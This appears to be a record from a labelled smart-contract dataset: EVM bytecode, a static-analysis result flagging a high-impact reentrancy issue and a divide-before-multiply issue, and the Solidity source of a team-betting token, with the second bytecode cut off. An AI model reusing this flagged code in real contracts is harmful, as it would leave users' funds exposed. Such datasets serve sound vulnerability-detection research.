0x6080604052600436106101845760003560e01c806370a08231116100d1578063a9059cbb1161008a578063c3c8cd8011610064578063c3c8cd801461046c578063c65c168314610481578063dd62ed3e146104a1578063ff511828146104e757600080fd5b8063a9059cbb14610406578063b328bbc914610426578063bfd792841461043c57600080fd5b806370a0823114610354578063715018a6146103745780637d1db4a5146103895780638199040e1461039f5780638da5cb5b146103b557806395d89b41146103d357600080fd5b80632fd689e31161013e5780633b124fe7116101185780633b124fe7146102e957806349bd5a5e146102ff5780636b9990531461031f5780636fc3eaec1461033f57600080fd5b80632fd689e3146102a1578063313ce567146102b75780633206b4aa146102d357600080fd5b8062b8cf2a1461019057806306fdde03146101b2578063095ea7b3146101f65780631694505e1461022657806318160ddd1461025e57806323b872dd1461028157600080fd5b3661018b57005b600080fd5b34801561019c57600080fd5b506101b06101ab366004611511565b610507565b005b3480156101be57600080fd5b506040805180820190915260098152680a4cac4dedee88aa8960bb1b60208201525b6040516101ed91906115d6565b60405180910390f35b34801561020257600080fd5b5061021661021136600461162b565b6105a6565b60405190151581526020016101ed565b34801561023257600080fd5b50601254610246906001600160a01b031681565b6040516001600160a01b0390911681526020016101ed565b34801561026a57600080fd5b506102736105bd565b6040519081526020016101ed565b34801561028d57600080fd5b5061021661029c366004611657565b6105de565b3480156102ad57600080fd5b5061027360165481565b3480156102c357600080fd5b50604051600981526020016101ed565b3480156102df57600080fd5b50610273600c5481565b3480156102f557600080fd5b50610273600d5481565b34801561030b57600080fd5b50601354610246906001600160a01b031681565b34801561032b57600080fd5b506101b061033a366004611698565b610647565b34801561034b57600080fd5b506101b0610692565b34801561036057600080fd5b5061027361036f366004611698565b6106bf565b34801561038057600080fd5b506101b06106e1565b34801561039557600080fd5b5061027360155481565b3480156103ab57600080fd5b50610273600b5481565b3480156103c157600080fd5b506000546001600160a01b0316610246565b3480156103df57600080fd5b5060408051808201909152600a815269048a4cac4dedee88aa8960b31b60208201526101e0565b34801561041257600080fd5b5061021661042136600461162b565b610755565b34801561043257600080fd5b50610273600a5481565b34801561044857600080fd5b50610216610457366004611698565b60106020526000908152604090205460ff1681565b34801561047857600080fd5b506101b0610762565b34801561048d57600080fd5b506101b061049c3660046116b5565b610798565b3480156104ad57600080fd5b506102736104bc3660046116ce565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104f357600080fd5b506101b0610502366004611698565b6107cc565b6000546001600160a01b0316331461053a5760405162461bcd60e51b815260040161053190611707565b60405180910390fd5b60005b81518110156105a25760016010600084848151811061055e5761055e61173c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061059a81611768565b91505061053d565b5050565b60006105b3338484610850565b5060015b92915050565b60006105cb6009600a611867565b6105d990630ee6b280611876565b905090565b60006105eb848484610974565b61063d843361063885604051806060016040528060288152602001611975602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d4b565b610850565b5060019392505050565b6000546001600160a01b031633146106715760405162461bcd60e51b815260040161053190611707565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6011546001600160a01b0316336001600160a01b0316146106b257600080fd5b476106bc81610d85565b50565b6001600160a01b0381166000908152600260205260408120546105b790610dd1565b6000546001600160a01b0316331461070b5760405162461bcd60e51b815260040161053190611707565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105b3338484610974565b6011546001600160a01b0316336001600160a01b03161461078257600080fd5b600061078d306106bf565b90506106bc81610e55565b6000546001600160a01b031633146107c25760405162461bcd60e51b815260040161053190611707565b6001600a55600b55565b6000546001600160a01b031633146107f65760405162461bcd60e51b815260040161053190611707565b6001600160a01b038116600081815260056020908152604091829020805460ff1916600117905590519182527f58c3e0504c69d3a92726966f152a771e0f8f6ad4daca1ae9055a38aba1fd2b62910160405180910390a150565b6001600160a01b0383166108b25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610531565b6001600160a01b0382166109135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610531565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109d85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610531565b6001600160a01b038216610a3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610531565b60008111610a9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610531565b6000546001600160a01b03848116911614801590610ac857506000546001600160a01b03838116911614155b8015610adc57506001600160a01b03821615155b8015610af357506001600160a01b03821661dead14155b8015610b0d57506014546001600160a01b03838116911614155b8015610b2757506014546001600160a01b03848116911614155b15610c3e576001600160a01b03831660009081526010602052604090205460ff16158015610b6e57506001600160a01b03821660009081526010602052604090205460ff16155b610bc65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610531565b6000610bd1306106bf565b601654601554919250821015908210610bea5760155491505b808015610c015750601454600160a01b900460ff16155b8015610c1b57506013546001600160a01b03868116911614155b15610c3b57610c2982610e55565b478015610c3957610c3947610d85565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c8057506001600160a01b03831660009081526005602052604090205460ff165b80610cb257506013546001600160a01b03858116911614801590610cb257506013546001600160a01b03848116911614155b15610cbf57506000610d39565b6013546001600160a01b038581169116148015610cea57506012546001600160a01b03848116911614155b15610cfc57600854600c55600954600d555b6013546001600160a01b038481169116148015610d2757506012546001600160a01b03858116911614155b15610d3957600a54600c55600b54600d555b610d4584848484610fde565b50505050565b60008184841115610d6f5760405162461bcd60e51b815260040161053191906115d6565b506000610d7c8486611895565b95945050505050565b6011546001600160a01b03166108fc610da96009610da3858261100c565b9061104e565b6040518115909202916000818181858888f193505050501580156105a2573d6000803e3d6000fd5b6000600654821115610e385760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610531565b6000610e426110cd565b9050610e4e838261100c565b9392505050565b6014805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9d57610e9d61173c565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ef157600080fd5b505afa158015610f05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2991906118ac565b81600181518110610f3c57610f3c61173c565b6001600160a01b039283166020918202929092010152601254610f629130911684610850565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9b9085906000908690309042906004016118c9565b600060405180830381600087803b158015610fb557600080fd5b505af1158015610fc9573d6000803e3d6000fd5b50506014805460ff60a01b1916905550505050565b80610feb57610feb6110f0565b610ff684848461111e565b80610d4557610d45600e54600c55600f54600d55565b6000610e4e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611215565b60008261105d575060006105b7565b60006110698385611876565b905082611076858361193a565b14610e4e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610531565b60008060006110da611243565b90925090506110e9828261100c565b9250505090565b600c541580156111005750600d54155b1561110757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611130876112c5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111629087611322565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111919086611364565b6001600160a01b0389166000908152600260205260409020556111b3816113c3565b6111bd848361140d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161120291815260200190565b60405180910390a3505050505050505050565b600081836112365760405162461bcd60e51b815260040161053191906115d6565b506000610d7c848661193a565b6006546000908190816112586009600a611867565b61126690630ee6b280611876565b905061128e6112776009600a611867565b61128590630ee6b280611876565b6006549061100c565b8210156112bc576006546112a46009600a611867565b6112b290630ee6b280611876565b9350935050509091565b90939092509050565b60008060008060008060008060006112e28a600c54600d54611431565b92509250925060006112f26110cd565b905060008060006113058e878787611486565b919e509c509a509598509396509194505050505091939550919395565b6000610e4e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d4b565b600080611371838561195c565b905083811015610e4e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610531565b60006113cd6110cd565b905060006113db838361104e565b306000908152600260205260409020549091506113f89082611364565b30600090815260026020526040902055505050565b60065461141a9083611322565b60065560075461142a9082611364565b6007555050565b600080808061144b6064611445898961104e565b9061100c565b9050600061145e60646114458a8961104e565b90506000611476826114708b86611322565b90611322565b9992985090965090945050505050565b6000808080611495888661104e565b905060006114a3888761104e565b905060006114b1888861104e565b905060006114c3826114708686611322565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106bc57600080fd5b803561150c816114ec565b919050565b6000602080838503121561152457600080fd5b823567ffffffffffffffff8082111561153c57600080fd5b818501915085601f83011261155057600080fd5b813581811115611562576115626114d6565b8060051b604051601f19603f83011681018181108582111715611587576115876114d6565b6040529182528482019250838101850191888311156115a557600080fd5b938501935b828510156115ca576115bb85611501565b845293850193928501926115aa565b98975050505050505050565b600060208083528351808285015260005b81811015611603578581018301518582016040015282016115e7565b81811115611615576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561163e57600080fd5b8235611649816114ec565b946020939093013593505050565b60008060006060848603121561166c57600080fd5b8335611677816114ec565b92506020840135611687816114ec565b929592945050506040919091013590565b6000602082840312156116aa57600080fd5b8135610e4e816114ec565b6000602082840312156116c757600080fd5b5035919050565b600080604083850312156116e157600080fd5b82356116ec816114ec565b915060208301356116fc816114ec565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561177c5761177c611752565b5060010190565b600181815b808511156117be5781600019048211156117a4576117a4611752565b808516156117b157918102915b93841c9390800290611788565b509250929050565b6000826117d5575060016105b7565b816117e2575060006105b7565b81600181146117f857600281146118025761181e565b60019150506105b7565b60ff84111561181357611813611752565b50506001821b6105b7565b5060208310610133831016604e8410600b8410161715611841575081810a6105b7565b61184b8383611783565b806000190482111561185f5761185f611752565b029392505050565b6000610e4e60ff8416836117c6565b600081600019048311821515161561189057611890611752565b500290565b6000828210156118a7576118a7611752565b500390565b6000602082840312156118be57600080fd5b8151610e4e816114ec565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119195784516001600160a01b0316835293830193918301916001016118f4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261195757634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561196f5761196f611752565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220277a35cbafdf93671983fed93342d56bebf22b98075715192b5f83d8f979d0ef64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,057 |
0xb85a54944b58342b07887942e6f530f616479efd
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title StandardToken
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol
* @dev Standard ERC20 token
*/
contract StandardToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) internal balances_;
mapping(address => mapping(address => uint256)) internal allowed_;
uint256 internal totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed_ to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[msg.sender]);
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[_from]);
require(_value <= allowed_[_from][msg.sender]);
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
/**
* @title EthTeamContract
* @dev The team token. One token represents a team. EthTeamContract is also a ERC20 standard token.
*/
contract EthTeamContract is StandardToken, Ownable {
event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event BeginGame(address indexed team1, address indexed team2, uint64 gameTime);
event EndGame(address indexed team1, address indexed team2, uint8 gameResult);
event ChangeStatus(address indexed team, uint8 status);
/**
* @dev Token price based on ETH
*/
uint256 public price;
/**
* @dev status=0 buyable & sellable, user can buy or sell the token.
* status=1 not buyable & not sellable, user cannot buy or sell the token.
*/
uint8 public status;
/**
* @dev The game start time. gameTime=0 means game time is not enabled or not started.
*/
uint64 public gameTime;
/**
* @dev If the time is older than FinishTime (usually one month after game).
* The owner has permission to transfer the balance to the feeOwner.
* The user can get back the balance using the website after this time.
*/
uint64 public finishTime;
/**
* @dev The fee owner. The fee will send to this address.
*/
address public feeOwner;
/**
* @dev Game opponent, gameOpponent is also a EthTeamContract.
*/
address public gameOpponent;
/**
* @dev Team name and team symbol will be ERC20 token name and symbol. Token decimals will be 3.
* Token total supply will be 0. The initial price will be 1 szabo (1000000000000 Wei)
*/
function EthTeamContract(
string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner
) public {
name = _teamName;
symbol = _teamSymbol;
decimals = 3;
totalSupply_ = 0;
price = 1 szabo;
gameOpponent = _gameOpponent;
gameTime = _gameTime;
finishTime = _finishTime;
feeOwner = _feeOwner;
owner = msg.sender;
}
/**
* @dev Sell Or Transfer the token.
*
* Override ERC20 transfer token function. If the _to address is not this EthTeamContract,
* then call the super transfer function, which will be ERC20 token transfer.
* Otherwise, the user want to sell the token (EthTeamContract -> ETH).
* @param _to address The address which you want to transfer/sell to
* @param _value uint256 the amount of tokens to be transferred/sold
*/
function transfer(address _to, uint256 _value) public returns (bool) {
if (_to != address(this)) {
return super.transfer(_to, _value);
}
require(_value <= balances_[msg.sender] && status == 0);
// If gameTime is enabled (larger than 1514764800 (2018-01-01))
if (gameTime > 1514764800) {
// We will not allowed to sell after 5 minutes (300 seconds) before game start
require(gameTime - 300 > block.timestamp);
}
balances_[msg.sender] = balances_[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
uint256 weiAmount = price.mul(_value);
msg.sender.transfer(weiAmount);
emit Transfer(msg.sender, _to, _value);
emit Sell(_to, msg.sender, _value, weiAmount);
return true;
}
/**
* @dev Buy token using ETH
* User send ETH to this EthTeamContract, then his token balance will be increased based on price.
* The total supply will also be increased.
*/
function() payable public {
require(status == 0 && price > 0);
// If gameTime is enabled (larger than 1514764800 (2018-01-01))
if (gameTime > 1514764800) {
// We will not allowed to sell after 5 minutes (300 seconds) before game start
require(gameTime - 300 > block.timestamp);
}
uint256 amount = msg.value.div(price);
balances_[msg.sender] = balances_[msg.sender].add(amount);
totalSupply_ = totalSupply_.add(amount);
emit Transfer(address(this), msg.sender, amount);
emit Buy(address(this), msg.sender, amount, msg.value);
}
/**
* @dev The the game status.
*
* status = 0 buyable & sellable, user can buy or sell the token.
* status=1 not buyable & not sellable, user cannot buy or sell the token.
* @param _status The game status.
*/
function changeStatus(uint8 _status) onlyOwner public {
require(status != _status);
status = _status;
emit ChangeStatus(address(this), _status);
}
/**
* @dev Finish the game
*
* If the time is older than FinishTime (usually one month after game).
* The owner has permission to transfer the balance to the feeOwner.
* The user can get back the balance using the website after this time.
*/
function finish() onlyOwner public {
require(block.timestamp >= finishTime);
feeOwner.transfer(address(this).balance);
}
/**
* @dev Start the game
*
* Start a new game. Initialize game opponent, game time and status.
* @param _gameOpponent The game opponent contract address
* @param _gameTime The game begin time. optional
*/
function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public {
require(_gameOpponent != address(this));
// 1514764800 = 2018-01-01
require(_gameTime == 0 || (_gameTime > 1514764800));
gameOpponent = _gameOpponent;
gameTime = _gameTime;
status = 0;
emit BeginGame(address(this), _gameOpponent, _gameTime);
}
/**
* @dev End the game with game final result.
*
* The function only allow to be called with the lose team or the draw team with large balance.
* We have this rule because the lose team or draw team will large balance need transfer balance to opposite side.
* This function will also change status of opposite team by calling transferFundAndEndGame function.
* So the function only need to be called one time for the home and away team.
* The new price will be recalculated based on the new balance and total supply.
*
* Balance transfer rule:
* 1. The rose team will transfer all balance to opposite side.
* 2. If the game is draw, the balances of two team will go fifty-fifty.
* 3. If game is canceled, the balance is not touched and the game states will be reset to initial states.
* 4. The fee will be 5% of each transfer amount.
* @param _gameOpponent The game opponent contract address
* @param _gameResult game result. 1=lose, 2=draw, 3=cancel, 4=win (not allow)
*/
function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public {
require(gameOpponent != address(0) && gameOpponent == _gameOpponent);
uint256 amount = address(this).balance;
uint256 opAmount = gameOpponent.balance;
require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3);
EthTeamContract op = EthTeamContract(gameOpponent);
if (_gameResult == 1) {
// Lose
if (amount > 0 && totalSupply_ > 0) {
uint256 lostAmount = amount;
// If opponent has supply
if (op.totalSupply() > 0) {
// fee is 5%
uint256 feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
// If opponent has not supply, then send the lose money to fee owner.
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else {
op.transferFundAndEndGame();
}
} else if (_gameResult == 2) {
// Draw
if (amount > opAmount) {
lostAmount = amount.sub(opAmount).div(2);
if (op.totalSupply() > 0) {
// fee is 5%
feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else if (amount == opAmount) {
op.transferFundAndEndGame();
} else {
// should not happen
revert();
}
} else if (_gameResult == 3) {
//canceled
op.transferFundAndEndGame();
} else {
// should not happen
revert();
}
endGameInternal();
if (totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
emit EndGame(address(this), _gameOpponent, _gameResult);
}
/**
* @dev Reset team token states
*
*/
function endGameInternal() private {
gameOpponent = address(0);
gameTime = 0;
status = 0;
}
/**
* @dev Reset team states and recalculate the price.
*
* This function will be called by opponent team token after end game.
* It accepts the ETH transfer and recalculate the new price based on
* new balance and total supply.
*/
function transferFundAndEndGame() payable public {
require(gameOpponent != address(0) && gameOpponent == msg.sender);
if (msg.value > 0 && totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
endGameInternal();
}
}
|
0x60806040526004361061010d5763ffffffff60e060020a600035041662203116811461026b57806306fdde0314610294578063095ea7b31461031e57806318160ddd14610356578063200d2ed21461037d57806323b872dd146103a8578063313ce567146103d25780635958611e146103e757806370a08231146104195780638da5cb5b1461043a57806395bc95381461046b57806395d89b411461048657806397b817c91461049b578063a035b1fe146104c9578063a5d1c0c0146104de578063a9059cbb146104f3578063b9818be114610517578063c8a5e6d71461052c578063d56b288914610534578063dd62ed3e14610549578063f2fde38b14610570578063fef8383e14610591575b60075460009060ff1615801561012557506000600654115b151561013057600080fd5b600754635a497a0061010090910467ffffffffffffffff161115610174576007544261010090910467ffffffffffffffff90811661012b1901161161017457600080fd5b60065461018890349063ffffffff6105a616565b600160a060020a0333166000908152602081905260409020549091506101b4908263ffffffff6105bb16565b600160a060020a0333166000908152602081905260409020556002546101e0908263ffffffff6105bb16565b600255604080518281529051600160a060020a033381169230909116916000805160206114588339815191529181900360200190a333600160a060020a031630600160a060020a03167f89f5adc174562e07c9c9b1cae7109bbecb21cf9d1b2847e550042b8653c54a0e8334604051808381526020018281526020019250505060405180910390a350005b34801561027757600080fd5b50610292600160a060020a036004351660ff602435166105d5565b005b3480156102a057600080fd5b506102a9610a65565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102e35781810151838201526020016102cb565b50505050905090810190601f1680156103105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032a57600080fd5b50610342600160a060020a0360043516602435610af3565b604080519115158252519081900360200190f35b34801561036257600080fd5b5061036b610b5d565b60408051918252519081900360200190f35b34801561038957600080fd5b50610392610b63565b6040805160ff9092168252519081900360200190f35b3480156103b457600080fd5b50610342600160a060020a0360043581169060243516604435610b6c565b3480156103de57600080fd5b50610392610cda565b3480156103f357600080fd5b506103fc610ce3565b6040805167ffffffffffffffff9092168252519081900360200190f35b34801561042557600080fd5b5061036b600160a060020a0360043516610d00565b34801561044657600080fd5b5061044f610d1b565b60408051600160a060020a039092168252519081900360200190f35b34801561047757600080fd5b5061029260ff60043516610d2f565b34801561049257600080fd5b506102a9610db8565b3480156104a757600080fd5b50610292600160a060020a036004351667ffffffffffffffff60243516610e13565b3480156104d557600080fd5b5061036b610f17565b3480156104ea57600080fd5b506103fc610f1d565b3480156104ff57600080fd5b50610342600160a060020a0360043516602435610f32565b34801561052357600080fd5b5061044f611116565b610292611125565b34801561054057600080fd5b5061029261119b565b34801561055557600080fd5b5061036b600160a060020a036004358116906024351661121f565b34801561057c57600080fd5b50610292600160a060020a036004351661124a565b34801561059d57600080fd5b5061044f6112f3565b600081838115156105b357fe5b049392505050565b6000828201838110156105ca57fe5b8091505b5092915050565b600554600090819081908190819033600160a060020a03908116610100909204161461060057600080fd5b600954600160a060020a0316158015906106275750600954600160a060020a038881169116145b151561063257600080fd5b600954600160a060020a033081163196501631935060ff86166001148061066757508560ff1660021480156106675750838510155b8061067557508560ff166003145b151561068057600080fd5b600954600160a060020a0316925060ff8616600114156108d4576000851180156106ac57506000600254115b1561087857849150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106f457600080fd5b505af1158015610708573d6000803e3d6000fd5b505050506040513d602081101561071e57600080fd5b505111156107e15761073782601463ffffffff6105a616565b9050610749828263ffffffff61130216565b600854604051919350600160a060020a03169082156108fc029083906000818181858888f19350505050158015610784573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d7836040518263ffffffff1660e060020a0281526004016000604051808303818588803b1580156107c357600080fd5b505af11580156107d7573d6000803e3d6000fd5b5050505050610873565b600854604051600160a060020a039091169083156108fc029084906000818181858888f1935050505015801561081b573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561085a57600080fd5b505af115801561086e573d6000803e3d6000fd5b505050505b6108cf565b82600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108b657600080fd5b505af11580156108ca573d6000803e3d6000fd5b505050505b6109e0565b8560ff1660021415610996578385111561094b5761090960026108fd878763ffffffff61130216565b9063ffffffff6105a616565b9150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106f457600080fd5b838514156109915782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561085a57600080fd5b600080fd5b8560ff16600314156109915782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108b657600080fd5b6109e8611314565b60006002541115610a1557600254610a1190600160a060020a033016319063ffffffff6105a616565b6006555b6040805160ff881681529051600160a060020a03808a169230909116917fca877aac494c1a237a54e53d1cf34403a485633cd56280f38c182df72936526f9181900360200190a350505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610aeb5780601f10610ac057610100808354040283529160200191610aeb565b820191906000526020600020905b815481529060010190602001808311610ace57829003601f168201915b505050505081565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b60075460ff1681565b6000600160a060020a0383161515610b8357600080fd5b600160a060020a038416600090815260208190526040902054821115610ba857600080fd5b600160a060020a0380851660009081526001602090815260408083203390941683529290522054821115610bdb57600080fd5b600160a060020a038416600090815260208190526040902054610c04908363ffffffff61130216565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c39908363ffffffff6105bb16565b600160a060020a0380851660009081526020818152604080832094909455878316825260018152838220339093168252919091522054610c7f908363ffffffff61130216565b600160a060020a03808616600081815260016020908152604080832033861684528252918290209490945580518681529051928716939192600080516020611458833981519152929181900390910190a35060019392505050565b60055460ff1681565b6007546901000000000000000000900467ffffffffffffffff1681565b600160a060020a031660009081526020819052604090205490565b6005546101009004600160a060020a031681565b60055433600160a060020a039081166101009092041614610d4f57600080fd5b60075460ff82811691161415610d6457600080fd5b6007805460ff831660ff1990911681179091556040805191825251600160a060020a033016917fb82ce22096c6500c582b45cfbf153014e62fd0cbcccaf9a68dc6bfbd53d875d3919081900360200190a250565b6004805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610aeb5780601f10610ac057610100808354040283529160200191610aeb565b60055433600160a060020a039081166101009092041614610e3357600080fd5b30600160a060020a031682600160a060020a031614151515610e5457600080fd5b67ffffffffffffffff81161580610e785750635a497a008167ffffffffffffffff16115b1515610e8357600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038481169182179092556007805468ffffffffffffffff00191661010067ffffffffffffffff86169081029190911760ff1916909155604080519182525191923016917f1892465d280bc871343cfbf3c63bbbc2bee69afc8d669e83d7e94e54d74c8933916020908290030190a35050565b60065481565b600754610100900467ffffffffffffffff1681565b60008030600160a060020a031684600160a060020a0316141515610f6157610f5a8484611345565b91506105ce565b600160a060020a0333166000908152602081905260409020548311801590610f8c575060075460ff16155b1515610f9757600080fd5b600754635a497a0061010090910467ffffffffffffffff161115610fdb576007544261010090910467ffffffffffffffff90811661012b19011611610fdb57600080fd5b600160a060020a0333166000908152